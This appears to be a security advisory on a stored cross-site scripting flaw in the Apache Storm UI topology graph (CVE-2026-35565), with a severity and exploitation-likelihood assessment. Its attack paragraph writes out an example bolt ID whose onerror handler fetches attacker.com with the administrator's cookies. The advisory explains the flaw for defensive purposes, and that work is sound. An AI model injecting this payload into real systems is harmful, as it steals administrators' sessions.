Apache Storm Ui CVE-2026-35565

This vulnerability presents a nuanced risk profile. CVSS 5.4 (Medium) with PR:L (requires authentication) and UI:R (requires user interaction-admin must view the topology) reflects moderate severity. However, EPSS 0.04% (11th percentile) indicates extremely low observed exploitation probability in the wild, and SSVC assessment of 'Exploitation: none, Automatable: no, Technical Impact: partial' confirms this is not a high-priority threat. The attack requires a specific precondition (attacker must have topology submission rights, a sensitive permission typically restricted to trusted operators), and impact is limited to the security context of users viewing the visualization. In single-tenant or restrictive-ACL environments, risk is minimal. In multi-tenant platforms with permissive submission policies, the privilege-escalation vector warrants attention. The combination of low EPSS, authentication requirement, and no evidence of active exploitation or public POC suggests this is a genuine but low-urgency vulnerability best addressed through standard patching cycles.

An attacker with topology submission rights (e.g., a developer in a multi-tenant Storm cluster) submits a topology containing a bolt component with an ID like 'bolt_<img src=x onerror="fetch(attacker.com?cookies='+document.cookie+')">'. The malicious ID is stored by Nimbus and returned via the Visualization API when an administrator views the topology graph in the Storm UI. The JavaScript parseNode() function interpolates this unsanitized ID directly into tooltip HTML via innerHTML, causing the onerror event handler to execute in the administrator's browser, leaking session cookies or performing administrative actions. No public POC is identified; exploitation requires both topology submission access and social engineering or system access to ensure an admin views the malicious topology.